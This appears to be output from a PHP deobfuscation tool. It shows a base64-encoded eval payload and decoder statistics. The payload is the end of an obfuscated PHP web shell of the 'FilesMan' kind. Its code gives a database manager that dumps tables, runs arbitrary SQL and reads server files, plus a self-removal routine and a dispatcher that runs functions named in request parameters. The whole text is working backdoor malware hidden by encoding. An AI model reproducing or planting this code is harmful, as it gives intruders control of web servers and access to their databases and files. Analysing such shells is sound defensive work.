sICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX07DQoJJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOw0KCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCgkJJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgew0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCgkJCQkkZGItPmR1bXAoJHYpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7DQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB1bnNldCgkX1BPU1RbJ3AyJ10pOw0KICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOw0KCX0NCgltYWRoZWFkKCk7DQoJZWNobyAiDQo8ZGl2IGNsYXNzPWhlYWRlcj4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7DQoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsNCglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsNCgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCgkJCQljYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KCQkJfQ0KCQkJJGRiLT5saXN0RGJzKCk7DQoJCQllY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCgkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOw0KCQkJfQ0KCQkJZWNobyAnPC9zZWxlY3Q+JzsNCgkJfQ0KCQllbHNlIGVjaG8gJHRtcDsNCgl9ZWxzZQ0KCQllY2hvICR0bXA7DQoJZWNobyAiPC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8c2NyaXB0Pg0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgew0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJZnVuY3Rpb24gc3QodCxsKSB7DQoJCQkJZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOw0KCQkJCWQuc2YucDIudmFsdWUgPSB0Ow0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7DQoJCQkJZC5zZi5zdWJtaXQoKTsNCgkJCX0NCgkJCWZ1bmN0aW9uIGlzKCkgew0KCQkJCWZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpDQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7DQoJCQl9DQoJCTwvc2NyaXB0PiI7DQoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsNCgkJCQkkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCgkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsNCgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOw0KCQkJCQllY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCgkJCQl9DQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsNCgkJCQlpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsNCgkJCQkJJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydwMiddKTsNCgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsNCgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOw0KCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7DQoJCQkJCWVsc2UNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOw0KCQkJCQllY2hvICI8YnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7DQoJCQkJCWlmKCRkYi0+cmVzICE9PSBmYWxzZSkgew0KCQkJCQkJJHRpdGxlID0gZmFsc2U7DQoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOw0KCQkJCQkJJGxpbmUgPSAxOw0KCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsNCgkJCQkJCQlpZighJHRpdGxlKQl7DQoJCQkJCQkJCWVjaG8gJzx0cj4nOw0KCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQ0KCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KCQkJCQkJCQlyZXNldCgkaXRlbSk7DQoJCQkJCQkJCSR0aXRsZT10cnVlOw0KCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOw0KCQkJCQkJCQkkbGluZSA9IDI7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsNCgkJCQkJCQkkbGluZSA9ICRsaW5lPT0xPzI6MTsNCgkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKQ0KCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KCQkJCQkJCQllbHNlDQoJCQkJCQkJCQllY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdHI+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzwvdGFibGU+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsNCgkJCQllY2hvICI8L3RkPjwvdHI+IjsNCgkJCX0NCgkJCWVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsNCiAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsNCiAgICAgICAgICAgIH0NCgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgew0KCQkJCSRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOw0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJCX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCiAgICBtYWRmb290ZXIoKTsNCiAgICANCiB9DQogDQogZnVuY3Rpb24gbWFkc2VsZnJtKCkNCiB7DQogICAgDQogICAgaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKQ0KCQlpZihAdW5saW5rKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCAnQzpcd2FtcFx3d3dcbXNzLnBocCcpKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQllbHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIG1hZGhlYWQoKTsNCgllY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7DQogICAgDQogICAgDQogICAgZWNobyAiDQogICAgDQogICAgICAgICAgICAgICAgL15cDQogICAgICAgXy4tYDogICAvICAgXCAgIDonLS5fDQogICAgICxgICAgIDogIHwgICAgIHwgIDogICAgJy4NCiAgICxgICAgICAgIFwsfCAgICAgfCwvICAgICAgICcuDQogIC8gICAgICAgICAgIGAtLi4uLWAgICAgICAgICAgIFwNCiA6ICAgICAgICAgICAgICAuJy4gICAgICAgICAgICAgIDoNCiB8ICAgICAgICAgICAgIC4gJyAuICAgICAgICAgICAgIHwNCiB8ICAgICAgICAgICAgICcgLiAnICAgICAgICAgICAgIHwNCiA6ICAgICAgICAgICAgICAnLicgICAgICAgICAgICAgIDoNCiAgXCAgICAgICAgICAgLC0nJyctLCAgICAgICAgICAgLw0KICAgYC4gICAgICAgLyd8ICAgICB8J1wgICAgICAgLCcNCiAgICAgYC5fICAgOyAgfCAgICAgfCAgOyAgIF8sJw0KICAgICAgICBgLS46ICB8ICAgICB8ICA6LC0nDQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KICAgICAgICAgICAgICB8ICAgICB8DQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KIjsNCiAgICANCiAgICANCiAgICANCiAgICBlY2hvICc8YnI+S2lsbCBNZT88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsNCgltYWRGb290ZXIoKTsNCiAgICANCiB9DQoNCg0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQoJaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ21hZCcgLiAkZGVmYXVsdF9hY3Rpb24pKQ0KCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCgllbHNlDQoJCSRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsNCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnbWFkJyAuICRfUE9TVFsnYSddKSApDQoJY2FsbF91c2VyX2Z1bmMoJ21hZCcgLiAkX1BPU1RbJ2EnXSk7DQoJZXhpdDsNCgk/Pg==")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 86a66de1eb70963b36d204718fc46306 |
Eval Count | 1 |
Decode Time | 150 ms |